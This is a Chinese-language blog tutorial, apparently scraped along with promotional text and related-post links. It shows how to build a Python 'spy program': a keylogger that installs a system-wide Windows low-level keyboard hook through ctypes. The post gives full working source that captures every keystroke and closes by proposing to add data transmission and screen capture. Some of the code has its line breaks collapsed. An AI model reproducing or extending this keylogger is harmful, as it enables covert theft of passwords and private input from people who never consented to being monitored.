作者:寂夜云

https://www.cnblogs.com/lonenysky/p/12341074.html

这次我们使用 Python 来打造一款间谍程序,程序中会用到许多知识点,大致分为四块:

  • win32API

  • Python基础,重点在cpytes库的使用

  • C语言基础

  • Hook

程序的基本原理在于通过注册Hook,记录系统事件。

那么什么是Hook呢?

Hook 技术又叫做钩子函数,系统在调用函数之前,钩子程序就先捕获该消息,钩子函数先得到控制权,这时钩子函数既可以加工处理(改变)该函数的执行行为,还可以强制结束消息的传递

注册Hook时我们需要先导入DLL库,在Python中我们使用ctypes来导入,导入方法如下

user32 = CDLL("user32.dll")
kernel32 = CDLL("kernel32.dll")

我们导入了user32.dllkernel32.dll。这两个DLL有什么用处呢

  • user32.dll 是Windows用户界面相关应用程序接口,用于包括Windows处理,基本用户界面等特性,如创建窗口和发送消息

  • kernel32.dll 控制着系统的内存管理、数据的输入输出操作和中断处理**

流程部分

知道了我们要使用什么样的工具,那么第一步应该怎么做呢?

1、首先我们需要先注册Hook到系统上,通过user32.dll中的SetWindowsHookExA函数,我们可以在系统上注册钩子

HHOOK SetWindowsHookExA( int idHook,HOOKPROC  lpfn,HINSTANCE hmod,DWORD     dwThreadId
);

通过查看文档我们看到SetWindowsHookExA函数的参数及参数类型如上所示。

通过文档我们看到第一个参数idHook中填入钩子的类型

WH_KEYBOARD_LL的常量值为13代表的意思是监视低级键盘输入事件,我们此处来监听键盘事件

第二个参数lpfn代表指向钩子过程的指针,要填入钩子过程(函数),我们可以在此处来添加额外代码达到我们想要达成的目的

第三个参数hmod表示为DLL句柄,我们可以使用kernel32中的GetModuleHandleW来获取句柄

最后一个参数dwThreadId我们填入0代表与同一桌面上所有的线程关联

代码如下

user32.SetWindowsHookExA(13,handleProc,kernel32.GetModuleHandleW(),0)

如何使用Python来编写我们的钩子过程呢,通过ctypes文档我们可以得知windows下使用WINFUNCTYPE来创建函数

此时我们发现有WINFUNCTYPE和CFUNCTYPE两个函数,具体要使用哪一个呢,这两个的区别为

  • WINFUNCTYPE 为Windows下独有的,通过使用使用stdcall调用约定的函数

  • CFUNCTYPE 使用标准C调用约定的函数

HOOKPROC = WINFUNCTYPE(c_int, c_int, c_int, POINTER(DWORD))

因为我们调用的是WH_KEYBOARD_LL,WH_KEYBOARD_LL会使用LowLevelKeyboardProc回调函数,同时我们也需要在Python定义它

LowLevelKeyboardProc数据结构如下

LRESULT CALLBACK LowLevelKeyboardProc(_In_ int nCode,_In_ WPARAM wParam,_In_ LPARAM lParam
);

按照官方文档提示 如果**nCode**小于零,则挂钩过程必须将消息传递给CallNextHookEx函数,而无需进一步处理,并且应返回CallNextHookEx返回的值

我们转换为Python代码

class KBDLLHOOKSTRUCT(Structure):_fields_ = [('vkCode', DWORD),('scanCode', DWORD),('flags', DWORD),('time', DWORD),('dwExtraInfo', DWORD)] def hookProc(nCode, wParam, lParam): if nCode < 0: return user32.CallNextHookEx(hooked, nCode, wParam, lParam) else:# 此处插入我们的代码 passreturn user32.CallNextHookEx(hooked, nCode, wParam, lParam)

最后在我们退出程序时还需要删除Hook,不然大量的Hook会使系统运行缓慢,虽然在Windows 7及更高版本上,该钩子会被静默删除而不被调用。应用程序无法知道挂钩是否已删除。我们还是主动进行删除

删除需要使用user32.dllUnhookWindowsHookEx,参数为Hook句柄

user32.UnhookWindowsHookEx(hooked)

下面贴上全部代码

import sys
from ctypes import *
from ctypes.wintypes import DWORD, HHOOK, HINSTANCE, MSG, WPARAM, LPARAMuser32 = CDLL("user32.dll")
kernel32 = CDLL("kernel32.dll")class KBDLLHOOKSTRUCT(Structure):_fields_ = [('vkCode', DWORD),('scanCode', DWORD),('flags', DWORD),('time', DWORD),('dwExtraInfo', DWORD)]def uninstallHookProc(hooked):if hooked is None:returnuser32.UnhookWindowsHookEx(hooked)hooked = Nonedef hookProc(nCode, wParam, lParam):if nCode < 0:return user32.CallNextHookEx(hooked, nCode, wParam, lParam)else:if wParam == 256:if 162 == lParam.contents.value:print("Ctrl pressed, call Hook uninstall()")uninstallHookProc(hooked)sys.exit(-1)capsLock = user32.GetKeyState(20)# kb_struct = cast(lParam, POINTER(KBDLLHOOKSTRUCT))if lParam.contents.value==13:print("\n")elif capsLock:print(chr(lParam.contents.value),end="")else:print(chr(lParam.contents.value+32),end="")return user32.CallNextHookEx(hooked, nCode, wParam, lParam)def startKeyLog():msg = MSG()user32.GetMessageA(byref(msg), 0, 0, 0)def installHookProc(hooked, pointer):hooked = user32.SetWindowsHookExA(13,pointer,kernel32.GetModuleHandleW(),0)if not hooked:return Falsereturn TrueHOOKPROC = WINFUNCTYPE(c_int, c_int, c_int, POINTER(DWORD))
pointer = HOOKPROC(hookProc)
hooked = None
if installHookProc(hooked, pointer):print("Hook installed")try:msg = MSG()user32.GetMessageA(byref(msg), 0, 0, 0)except KeyboardInterrupt as kerror:uninstallHookProc(hooked)print("Hook uninstall...")
else:print("Hook installed error")

贴上我们的效果图

我们还可以再添加上额外的代码比如数据传输,截屏等等  ^_^

来和小伙伴们一起向上生长呀!扫描下方二维码,添加小詹微信,可领取千元大礼包并申请加入 Python 学习交流群,群内仅供学术交流,日常互动,如果是想发推文、广告、砍价小程序的敬请绕道!一定记得备注「交流学习」,我会尽快通过好友申请哦!????长按识别,添加微信(添加人数较多,请耐心等待)????长按识别,关注小詹(扫码回复 1024 领取程序员大礼包)

Python 开发一个间谍小程序相关推荐

  1. Python 开发一个间谍小程序!编程语言中的无间道!

    这次我们使用 Python 来打造一款间谍程序,程序中会用到许多知识点,大致分为四块: win32API Python基础,重点在cpytes库的使用 C语言基础 Hook 程序的基本原理在于通过注册 ...

  2. 只需6步,教你从零开发一个签到小程序

    摘要:针对于具备瞬时流量.业务场景比较简单的小程序,开发者借助FunctionGraph,可以方便快捷的搭建一个健壮的小程序后台. 本文分享自华为云社区<智慧校园想搞好,FunctionGrap ...

  3. python socket能做什么_用python写一个聊天小程序!和女朋友的专属聊天工具!

    原标题:用python写一个聊天小程序!和女朋友的专属聊天工具! 1.UDP简介 Internet协议集支持一个无连接的传输协议,该协议称为用户数据报协议(UDP).UDP为应用程序提供了无需建立就可 ...

  4. 一个程序如何连接到外网_如何从头开始开发一个微信小程序

    网上有很多的人在问:怎么开发一个微信小程序?今天我来给大家详细讲讲如何申请开发并部署一个微信小程序,大家看完这篇文章后就能够自己运营一个属于自己的小程序了. 现在的小程序有百度小程序,头条小程序,支付 ...

  5. 开发一个微信小程序,对酒店经营管理有哪些好处?

    据腾讯2022年第一季度财报数据显示,微信小程序日活跃账户已经突破5亿,流量巨大.不论企业用户还是个体商家都积极使用小程序开展商业活动,从这庞大流量里获利. 酒店行业也不例外,很多酒店都开发了微信小程 ...

  6. 真的简单,单手用Spring Boot 开发一个微信小程序

    前言   嗨,大家好,现在微信使用的用户很多,作为开发人员也可以建立一个自己的微信小程序,本期与大家分享一下作者建立微信小程序的开发流程. 申请   百度搜索微信公众号平台,然后扫码登录注册一个微信公 ...

  7. 开发一个微信小程序/APP一般需要多少时间,多少钱?

    开发一个微信小程序/APP一般需要多少时间,多少钱? 微信小程序/APP开发的工期和费用估算需视功能需求的多少和难易程度而定,需求不明的情况下很难给出恰当评估. 在湃点网络定制平台,一对一的专业的顾问 ...

  8. 如何开发一个微信小程序

    如今微信小程序的开发已经成为了一个不可忽视的趋势,不少企业都开始将自己的产品和服务通过微信小程序进行宣传.但是如何开发一个微信小程序大家又了解吗?下面就为大家介绍如何开发一个微信小程序. 首先我们做好 ...

  9. python搭建微信小程序卖货要收费用吗_开发一个微信小程序需要多少钱?

    很多朋友在微信上都在问司瓦图老张[也就是我本人,下面简称老张]关于小程序商城的开发费用,今天老张跟朋友分享下,开发一个微信电商小程序商城到底需要多少钱? //有的朋友关心为什么小程序费用有几百,几千差 ...

最新文章

  1. 分布式服务框架原理与实践pdf_深度解析微服务治理的技术演进和架构实践
  2. tensorflow入门基础
  3. W3C专业术语翻译对照表
  4. How SAP concrete schema id is got based on transaction type plus catalog type
  5. Unity 协程原理探究与实现
  6. 鹰眼拓扑锁定跟踪 网络管理一目了然
  7. Extjs4.0 NumberField的使用
  8. 一年中重要的节日列表_外贸干货 | 关于节日祝福与安排
  9. Aizu ITP2_6_A 二分
  10. 大量的数据做字符串匹配_Python Flashtext 实现大数据集下高效的关键词查找和替换...
  11. java中常用的类——System类
  12. 2021-08-20 Redis 基本类型:string set sortedSet Hash List
  13. AS星尘粒子系统 初识2
  14. 烽火路由路虚拟服务器,netcore路由设置烽火
  15. 哥谭第一季/全集Gotham迅雷下载
  16. Spring源码分析之推断构造方法(一)
  17. 数的三次方根(二分方法的运用)
  18. 1425 加工生产调度
  19. NT_iOS笔记—判断iPhone6
  20. DPDK-RSS负载均衡分流

热门文章

  1. thinkphp 5 stdClass Call to undefined
  2. ngx_lua与go高并发性能对比
  3. MySQL索引面试题:优化 索引分类
  4. Yii游客允许查看页面设置
  5. python进程共享全局变量 时延_Python 进程之间共享数据(全局变量)的方法
  6. python查看opencv版本命令行_查看python下OpenCV版本的方法
  7. Oracle中的in 和 not in
  8. java发送和接收文件_Java通过套接字发送和接收文件(byte [])
  9. jquery三级联动模糊查询_jquery三级联动
  10. hutool读取和导出excel_Java编程第44讲——非常好用的hutool工具介绍